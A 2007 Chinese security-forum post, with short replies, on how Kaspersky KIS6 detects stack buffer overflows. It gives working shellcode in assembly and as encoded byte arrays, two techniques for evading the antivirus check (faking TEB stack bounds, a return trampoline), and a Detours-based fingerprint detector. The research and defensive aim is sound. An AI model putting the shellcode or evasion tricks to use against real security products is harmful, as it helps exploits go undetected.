gyzy1986
论坛版主
论坛版主
  • 注册日期2007-03-26
  • 最后登录2008-09-29
  • 粉丝0
  • 关注0
  • 积分332分
  • 威望36点
  • 贡献值0点
  • 好评度33点
  • 原创分2分
  • 专家分0分
阅读:3081回复:4

基于栈指纹检测缓冲区溢出的一点思路

楼主#
更多 发布于:2007-08-08 13:16
基于栈指纹检测缓冲区溢出的一点思路
Author:gyzy
Email:gyzy@msn.com
Homepage:http://www.gyzy.org
Date:2007-08-08

带图片的PDF版本及随文工程可从附件下载

一.                现有的检测栈溢出的模式
二.    现有检测体系存在的不足
三.    针对引擎要做的改进
四.    关于未来

引言
当前主动防御等的概念逐渐进入人们视野,国外主流的杀毒软件都有栈溢出的检测模块,尽管相对传统的木马和病毒来说,缓冲区溢出仍占攻击的很小一部分,但是基于传统的“木桶理论”,安全是一个整体,威胁还是无处不在。

现有的栈溢出检测模式
整篇文章我都以Kaspersky Internet Security(KIS 6)作为例子,KIS7中这一部分并无大的改进。以下是测试用的Shellcode:
    __asm
    {
        /* --------------------解码开始---------------------- */
        jmp     decode_end

decode_start:
                
        pop     edx             // 得到解码开始位置 esp -> edx
        dec     edx
        xor     ecx,ecx
        mov     cx,0x13D           // 要解码的长度

decode_loop:
                
        xor     byte ptr [edx+ecx], 0x99
        loop   decode_loop
        jmp     decode_ok

decode_end:
                
        call   decode_start

decode_ok:
    /*--------------------解码结束---------------------- */

        jmp     end
                    
start:
        pop     edx             // 指令表起始地址存放在 esp -> edx

        // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====
        //
        // 输入:
        // edx => 指令表起始地址 (不需要)
        //
        // 输出:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址

        mov     eax, fs:0x30     // PEB
        mov     eax, [eax + 0x0c] // PROCESS_MODULE_INFO
        mov     esi, [eax + 0x1c] // InInitOrder.flink
        lodsd
        mov     eax,[eax+8]



        // ========== 定位GetProcAddress的地址 ==========
        //
        // 输入:
        // eax => kernel32.dll起始地址
        // edx => 指令表起始地址
        //
        // 输出:
        // ebx => kernel32.dll起始地址
        // eax => GetProcAddress地址
        // edx => 指令表起始地址

        mov       ebx,eax             // 取kernel32.dll的起始地址 DLL Base Address
        mov       esi,dword ptr [ebx+3Ch]         // esi = PE header offset
        mov       esi,dword ptr [esi+ebx+78h]
        add       esi,ebx             // esi = exports directory table
        mov       edi,dword ptr [esi+20h]          
        add       edi,ebx             // edi = name pointers table
        mov       ecx,dword ptr [esi+14h]         // ecx = number of  name pointers
        xor       ebp,ebp        
        push     esi

                    
search_GetProcAddress:
        push     edi
        push     ecx
        mov       edi,dword ptr [edi]
        add       edi,ebx             // 把输出函数名表起始地址存人edi
        mov       esi,edx             // 指令表起始地址存入esi
        //mov       ecx,0Eh             // 函数getprocAddress长度为0Eh
        push     0xE
        pop     ecx
        repe cmps   byte ptr [esi],byte ptr [edi]
        je       search_GetProcAddress_ok
                
        pop       ecx
        pop       edi
        add       edi,4
        inc       ebp
        loop     search_GetProcAddress

search_GetProcAddress_ok:
        pop       ecx
        pop       edi
        pop       esi
        mov       ecx,ebp
        mov       eax,dword ptr [esi+0x24]
        add       eax,ebx
        shl       ecx,1
        add       eax,ecx
        xor       ecx,ecx
        mov       cx,word ptr [eax]
        mov       eax,dword ptr [esi+0x1C]
        add       eax,ebx
        shl       ecx,2
        add       eax,ecx
        mov       eax,dword ptr [eax]
        add       eax,ebx
                
        // ============ 调用函数解决api地址 ============
        //
        // 输入:
        // ebx =>kernel32.dll起始地址
        // eax =>GetProcAddress地址
        // edx =>指令表起始地址
        //
        // 输出:
        // edi =>函数地址base addr
        // esi =>指令表当前位置
        // edx =>GetProcAddress 地址

        mov     edi,edx
        mov     esi,edi
        add     esi,0xE             // 0xE 跳过1个字符串"GetProcAddress"32177368
                
        // ============ 解决kernel32.dll中的函数地址 ============
        mov     edx,eax             // 把GetProcAddress 地址存放在edx
        //mov     ecx,0x5             // 需要解决的函数地址的个数
        push   0x2
        pop    ecx
        call   locator_api_addr
                
        // ============ 加载user32.dll ============
        add    esi,0xd            
                                    // 硬编码可以节省两个字节
        push   edx                 // edx是GetProcAddress 地址
        push   esi                 // 字符"urlmon"地址
        //mov        dword ptr fs:[4],0x0012FFFF
        //mov        dword ptr fs:[8],0x0012FFFF
        call   dword ptr [edi-4]           // LoadLibraryA
                
        // ============ 解决函数地址 ============
        pop     edx
        mov     ebx,eax             // 将urlmon.dll起始地址存放在ebx
        //mov     ecx,1             // 函数个数
        push   0x1
        pop     ecx             // 函数个数 <-这种方式省两个字节
        call   locator_api_addr

        // 取得一些空间存放系统路径
        sub esp, 0x20
        mov ebx, esp

        //MessageBox的参数
        mov dword ptr [ebx], 0x797a7967         // "yzyg"
        mov dword ptr [ebx+0x4], 0x00000000       // "00"

        push 0
        push ebx
        push ebx
        push 0
        call [edi-0x4]                        //MessageBoxA
              
        // ExitProcess
        push   eax
        call   dword ptr [edi-0x0c]           // ExitProcess

        // ============ 解决api地址的函数 ============
        //
        // 输入参数:
        // ecx 函数个数
        // edx GetProcAddress 地址
        // ebx 输出函数的dll起始地址
        // esi 函数名表起始地址
        // edi 保存函数地址的起始地址

locator_api_addr:
                
locator_space:
        xor     eax,eax
        lodsb
        test   eax,eax                 // 寻找函数名之间的空格x00
        jne     locator_space
                
        push   ecx
        push   edx
        push   esi                 // 函数名
        push   ebx                 // 输出函数的dll起始地址
        //mov        dword ptr fs:[4],0x0012FFFF
        //mov        dword ptr fs:[8],0x0012FFFF
        call   edx
        pop     edx
        pop     ecx
        stos   dword ptr [edi]
        loop   locator_space
        xor     eax,eax
        ret
        // ================== 结束调用 ====================
end:
        call   start
    }

通过这个简单的Shellcode可以窥探到卡巴对于栈溢出的检测模式,通过将shellcode拷贝到栈中执行的方式也模拟栈溢出,期间KIS共弹出了5次Buffer Overrun的警告,从Shellcode中大致可以推断出被Hook的函数是GetProcAddress(4次)和LoadLibraryA(1次),如图1

 

图片:bypass1.JPG


以下是GetProcAddress的反汇编代码:
7C883FEC >  55              PUSH EBP
7C883FED    8BEC            MOV EBP,ESP
7C883FEF    90              NOP
7C883FF0    5D              POP EBP
7C883FF1  - E9 997EFF75     JMP F287BE8F
7C883FF6    90              NOP
7C883FF7    90              NOP
很明显GetProcAddress被Hook了,LoadLibrary系列函数也是一样,那么究竟卡巴是如何检测栈溢出的产生的呢,再看它的驱动:
lkd> u f287BE8F
f287be8f 8b442404        mov     eax,dword ptr [esp+4]
f287be93 56              push    esi
f287be94 8b74240c        mov     esi,dword ptr [esp+0Ch]
f287be98 6a00            push    0
f287be9a 56              push    esi
f287be9b 6880be87f2      push    0F287BE80h
f287bea0 8d4c2414        lea     ecx,[esp+14h]
f287bea4 50              push    eax
lkd> u
f287bea5 51              push    ecx
f287bea6 e8f5f3ffff      call    f287b2a0
f287beab 84c0            test    al,al
f287bead 7410            je      f287bebf
f287beaf 6a05            push    5
f287beb1 33f6            xor     esi,esi
f287beb3 ff159cc087f2    call    dword ptr ds:[0F287C09Ch]
f287beb9 8bc6            mov     eax,esi
lkd> u
f287bebb 5e              pop     esi
f287bebc c20800          ret     8
f287bebf 688fbe87f2      push    0F287BE8Fh
f287bec4 e807f6ffff      call    f287b4d0
f287bec9 8d1440          lea     edx,[eax+eax*2]
f287becc 56              push    esi
f287becd 8b44240c        mov     eax,dword ptr [esp+0Ch]
f287bed1 50              push    eax
lkd> u f287b2a0
f287b2a0 8b442408        mov     eax,dword ptr [esp+8]
f287b2a4 8b542404        mov     edx,dword ptr [esp+4]
f287b2a8 56              push    esi
f287b2a9 8d4c240c        lea     ecx,[esp+0Ch]
f287b2ad 50              push    eax
f287b2ae 51              push    ecx
f287b2af 52              push    edx
f287b2b0 e8fbfdffff      call    f287b0b0
lkd> u f287b0b0
f287b0b0 55              push    ebp
f287b0b1 8bec            mov     ebp,esp
f287b0b3 83ec24          sub     esp,24h
f287b0b6 64a104000000    mov     eax,dword ptr fs:[00000004h]
f287b0bc 8945f8          mov     dword ptr [ebp-8],eax
f287b0bf 64a108000000    mov     eax,dword ptr fs:[00000008h]
f287b0c5 8945fc          mov     dword ptr [ebp-4],eax
f287b0c8 8b4508          mov     eax,dword ptr [ebp+8]
lkd> u
f287b0cb 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
f287b0ce 8b50fc          mov     edx,dword ptr [eax-4]
f287b0d1 8b45fc          mov     eax,dword ptr [ebp-4]
f287b0d4 3bd0            cmp     edx,eax
f287b0d6 8911            mov     dword ptr [ecx],edx
f287b0d8 7210            jb      f287b0ea
f287b0da 3b55f8          cmp     edx,dword ptr [ebp-8]
f287b0dd 730b            jae     f287b0ea
lkd> u
f287b0df b8e7030000      mov     eax,3E7h
f287b0e4 8be5            mov     esp,ebp
f287b0e6 5d              pop     ebp
f287b0e7 c20c00          ret     0Ch
f287b0ea 8b4510          mov     eax,dword ptr [ebp+10h]
f287b0ed 3d00000068      cmp     eax,68000000h
f287b0f2 0f829e000000    jb      f287b196
f287b0f8 3d00000065      cmp     eax,65000000h
其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键,上面有两条指令也特别值得注意:
mov     eax,dword ptr fs:[00000004h]
mov     eax,dword ptr fs:[00000008h]

以下是TEB的数据结构:
typedef struct _TEB {              // Size: 0xF88
/*000*/  NT_TIB NtTib;
/*01C*/  VOID *EnvironmentPointer;
/*020*/  CLIENT_ID ClientId;       // PROCESS id, THREAD id
/*028*/  HANDLE ActiveRpcHandle;
/*02C*/  VOID *ThreadLocalStoragePointer;
/*030*/  PEB *ProcessEnvironmentBlock;  // PEB
/*034*/  ULONG LastErrorValue;
/*038*/  ULONG CountOfOwnedCriticalSections;
/*03C*/  ULONG CsrClientThread;
/*040*/  ULONG Win32ThreadInfo;
/*044*/  UCHAR Win32ClientInfo[0x7C];
/*0C0*/  ULONG WOW32Reserved;
/*0C4*/  ULONG CurrentLocale;
/*0C8*/  ULONG FpSoftwareStatusRegister;
/*0CC*/  UCHAR SystemReserved1[0xD8];   // ExitStack ???
/*1A4*/  ULONG Spare1;
/*1A8*/  ULONG ExceptionCode;
/*1AC*/  UCHAR SpareBytes1[0x28];
/*1D4*/  UCHAR SystemReserved2[0x28];
/*1FC*/  UCHAR GdiTebBatch[0x4E0];
/*6DC*/  ULONG gdiRgn;
/*6E0*/  ULONG gdiPen;
/*6E4*/  ULONG gdiBrush;
/*6E8*/  CLIENT_ID RealClientId;
/*6F0*/  ULONG GdiCachedProcessHandle;
/*6F4*/  ULONG GdiClientPID;
/*6F8*/  ULONG GdiClientTID;
/*6FC*/  ULONG GdiThreadLocalInfo;
/*700*/  UCHAR UserReserved[0x14];
/*714*/  UCHAR glDispatchTable[0x460];
/*B74*/  UCHAR glReserved1[0x68];
/*BDC*/  ULONG glReserved2;
/*BE0*/  ULONG glSectionInfo;
/*BE4*/  ULONG glSection;
/*BE8*/  ULONG glTable;
/*BEC*/  ULONG glCurrentRC;
/*BF0*/  ULONG glContext;
/*BF4*/  ULONG LastStatusValue;
/*BF8*/  LARGE_INTEGER StaticUnicodeString;
/*C00*/  UCHAR StaticUnicodeBuffer[0x20C];
/*E0C*/  ULONG DeallocationStack;
/*E10*/  UCHAR TlsSlots[0x100];
/*F10*/  LARGE_INTEGER TlsLinks;
/*F18*/  ULONG Vdm;
/*F1C*/  ULONG ReservedForNtRpc;
/*F20*/  LARGE_INTEGER DbgSsReserved;
/*F28*/  ULONG HardErrorsAreDisabled;
/*F2C*/  UCHAR Instrumentation[0x40];
/*F6C*/  ULONG WinSockData;
/*F70*/  ULONG GdiBatchCount;
/*F74*/  ULONG Spare2;
/*F78*/  ULONG Spare3;
/*F7C*/  ULONG Spare4;
/*F80*/  ULONG ReservedForOle;
/*F84*/  ULONG WaitingOnLoaderLock;
} TEB, *PTEB;

typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception
                        // record list
    PVOID StackBase;                    // 04h
    PVOID StackLimit;                   // 08h
    PVOID SubSystemTib;                 // 0Ch
    union {                             // 10h
        PVOID FiberData;                // for TIB
        ULONG Version;                  // for TEB
    };
    PVOID ArbitraryUserPointer;         // 14h Available
                    // for application use
    struct _NT_TIB *Self;               // 18h Linear address
                    // of TEB structure
} NT_TIB;
typedef NT_TIB *PNT_TIB;
Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶,现在思路就比较明朗了,卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。

现有检测模式的不足
既然知道了他的检测模式,那么突破就是轻而易举的事了,有两种思路:
修改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测,但是LoadLibrary系列却不行,百思不得其解,若有高人知道,请指教(可能TEB跟线程有关,LoadLibrary涉及到多线程方面的一些问题)。

第二种方法就是在内存中找一个相对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令,然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下:在原来调用API的地方,如call   dword ptr [edi-4]           // LoadLibraryA
使用如下方法来代替:        
mov        edx,dword ptr [edi-4]            // LoadLibraryA
call    gcall
其中gcall代码如下:
        // ============ 绕过缓冲区溢出检查的call ============
        //
        // 输入参数:
        // edx 函数地址
        // 0x7C884000
gcall:
        pop        eax //将真正的返回地址保存到eax
        mov        ecx,0x7C884000
        push        ecx
        mov        byte  ptr [ecx],0x68     //push指令
        mov        dword ptr [ecx+1],eax    //写入地址
        mov        byte  ptr [ecx+5],0xC3    //写入ret指令
        jmp        edx //执行真正的函数
0x7C884000是Kernel32数据段的地址,当然,可以用其它等价的地址替换。再次运行shellcode,卡巴没有任何反应,如图2:
 

图片:bypass2.JPG



针对性的改进
在卡巴现有的检测中还是有一个Bug,就是TEB中的栈基址和栈顶数据是不可信的,应当在初始化时保存,而不应每次都去重新获取,当然这种检测机制本身就是不可靠的,需要改进,这就是本文要提出的基于栈指纹检测缓冲区溢出,说白了就是利用特征码+API Hook来更可靠的检测栈溢出的发生,防止迂回绕过我们的检测,因为有一点是肯定的:栈溢出发生时Shellcode是在栈中的,这个想法也是借鉴自反病毒的概念。微软公司在VC7开始提供了一个/GS编译选项来防止栈溢出带来的危害,但是事实证明还是能被绕过,例如:覆盖SEH。笔者认为安全产品做的越前端就越不容易被绕过,比如拦截Shellcode的行为肯定要比拦截溢出的发生有效的多。
笔者利用Detour库做了一个检测的模型,代码如下:
// dll.cpp : 定义 DLL 应用程序的入口点。
//
#include <windows.h>
#include "detours.h"
#include <dbt.h>

DETOUR_TRAMPOLINE(HMODULE WINAPI fLoadLibraryA(LPCTSTR lpFileName),LoadLibraryA);

HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
    DWORD stackbase,stacklimit,retaddr;

    __asm{
        mov eax,dword ptr [esp+0x1c]
        mov retaddr,eax
        mov eax,dword ptr fs:[4]
        mov stackbase,eax
        mov eax,dword ptr fs:[8]
        mov stacklimit,eax
    }

    if ( retaddr < stacklimit && retaddr > stackbase )
    {
overflow:
        MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
        return NULL;
    }

    //0x64 0xA1 0x30 0x00 0x00 0x00
    __asm{
        push    0x100
        pop        ecx
        mov        esi,esp
compare:
        cmp        dword ptr [esi],0x0030A164    //检测mov eax,fs:[30]
        je        overflow
        inc        esi
        loop    compare
    }

    return fLoadLibraryA(lpFileName);
}

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourFunctionWithTrampoline((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
        break;

    case DLL_PROCESS_DETACH:
        DetourRemove((PBYTE)fLoadLibraryA,(PBYTE)MyLoadLibraryA);
        break;
    }
    return TRUE;
}
这儿只是为了达到演示的目的只挂接了LoadLibraryA,并且配合了卡巴的检测方法,目的是提高检测的效率。这使用的指纹就是mov eax,fs:[30],几乎每个Shellcode都会用到来获取Kernel32的基址,当然如果要成为一个商业产品,那无疑需要降低误报的几率,那就需要更可靠的特征码。
#include <windows.h>

unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x21\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x45\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD8\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x12\xCE\x65\x71\xD5\x99"
"\x99\x99\xC3\x12\x41\xF3\x98\xC0\x71\xB0\x99\x99\x99\x1A\x75\xB9"
"\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3"
"\x99\xCA\xCA\xF3\x99\x12\xCE\x65\x71\xB8\x99\x99\x99\xC9\x12\xCE"
"\x6D\x71\x81\x99\x99\x99\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF"
"\xCA\x71\x91\x99\x99\x99\xC3\xC0\x32\x7B\x72\xAA\x59\x5A\xC1\x20"
"\x99\xD9\x11\xE5\xC8\x5F\x98\xF1\x10\xD8\x98\x5F\xD8\x9C\x5A\x66"
"\x7B\x71\x86\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

unsigned char sh2llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x28\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x7A\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xD1\x99\x99\x99\x1A\x5F\x94\xCB\xCF\xFD\x5E\x9C\x9D\x99\x99"
"\x99\x66\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99"
"\x66\xCE\x65\xC3\x12\x41\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75"
"\xB9\x12\x45\x5E\x9A\xFE\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99"
"\xF3\x99\xCA\xCA\xF3\x99\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35"
"\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\xFD\x5E\x9C\x9D\x99\x99\x99\x66"
"\x66\x8B\x99\xFD\x5E\x9C\x91\x99\x99\x99\x66\x66\x8B\x99\x66\x4B"
"\xC3\xC0\x32\x7B\x41\xAA\x59\x5A\x71\x81\x66\x66\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

unsigned char sh3llcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xFC\x00\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\x2E\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9B\xC0"
"\x71\xAB\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x98\xC0\x71\x86\x99\x99\x99\x1A\x75\xB9\x12\x45\x5E\x9A\xFE"
"\xE0\xE3\xE0\x5E\xDA\x9D\x99\x99\x99\x99\xF3\x99\xCA\xCA\xF3\x99"
"\x66\xCE\x65\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xDD\x66\x66"
"\x66"

"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDC"
"\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5"
"\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEC\xEA\xFC\xEB\xAA\xAB\x99\xD4"
"\xFC\xEA\xEA\xF8\xFE\xFC\xDB\xF6\xE1\xD8\x99";

int  WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{    
    //加载溢出防护dll
    LoadLibrary("AntiOverflow.dll");

    char sc[512];
    ZeroMemory(sc,512);
    memcpy(sc,(char*)shellcode,512);

    __asm
    {
        lea eax,sc
        
        jmp eax
    }

    return 0;
}
第一个Shellcode是能绕过卡巴检测的,第二个是修改了TEB中栈基址和栈顶值的Shellcode,卡巴会报一次,第三个是原始的Shellcode,卡巴会报5次。在加载了上述的溢出防护dll之后,3次测试都准确的拦截了,如图3:


关于未来
从效率的角度来看,Ring0下的Hook显然要比Ring3下高,因为挂接了大量此类函数会使系统的效率明显下降,以及代码的效率问题,都是需要提高的。另外就是指纹的选择,可以借鉴杀毒软件中复合特征码的思路来做。历来对于堆溢出的检测一直没有好的思路,或许指纹检测也是一个权宜之计。错误或纰漏在所难免,在此还恳请大家指正。

附参考文献:
[1] 作者不详.《Windows NT内核分析》
附件名称/大小 下载次数 最后更新
Finger.rar (224KB)  50 2007-08-08 13:17
http://www.gyzy.org 已关闭
skyxnet
驱动牛犊
驱动牛犊
  • 注册日期2006-03-15
  • 最后登录2008-04-23
  • 粉丝0
  • 关注0
  • 积分40分
  • 威望5点
  • 贡献值0点
  • 好评度4点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2007-08-15 14:41
学习了. 在您的主站下载了附件. 有些还不是很清楚.

但毕竟是来学习. 留个名支持下.  谢谢!
gyzy1986
论坛版主
论坛版主
  • 注册日期2007-03-26
  • 最后登录2008-09-29
  • 粉丝0
  • 关注0
  • 积分332分
  • 威望36点
  • 贡献值0点
  • 好评度33点
  • 原创分2分
  • 专家分0分
板凳#
发布于:2007-08-15 21:45
http://www.gyzy.org 已关闭
poize
驱动牛犊
驱动牛犊
  • 注册日期2005-08-17
  • 最后登录2013-09-13
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望32点
  • 贡献值0点
  • 好评度29点
  • 原创分0分
  • 专家分0分
地板#
发布于:2007-09-26 18:21
这么卡哇伊的一个图啊
ssLongPossible
驱动牛犊
驱动牛犊
  • 注册日期2009-03-29
  • 最后登录2009-03-30
  • 粉丝0
  • 关注0
  • 积分2分
  • 威望21点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2009-03-29 20:55
写的确实好,受益匪浅,希望继续写下去,让我这样的菜鸟继续学习
游客

返回顶部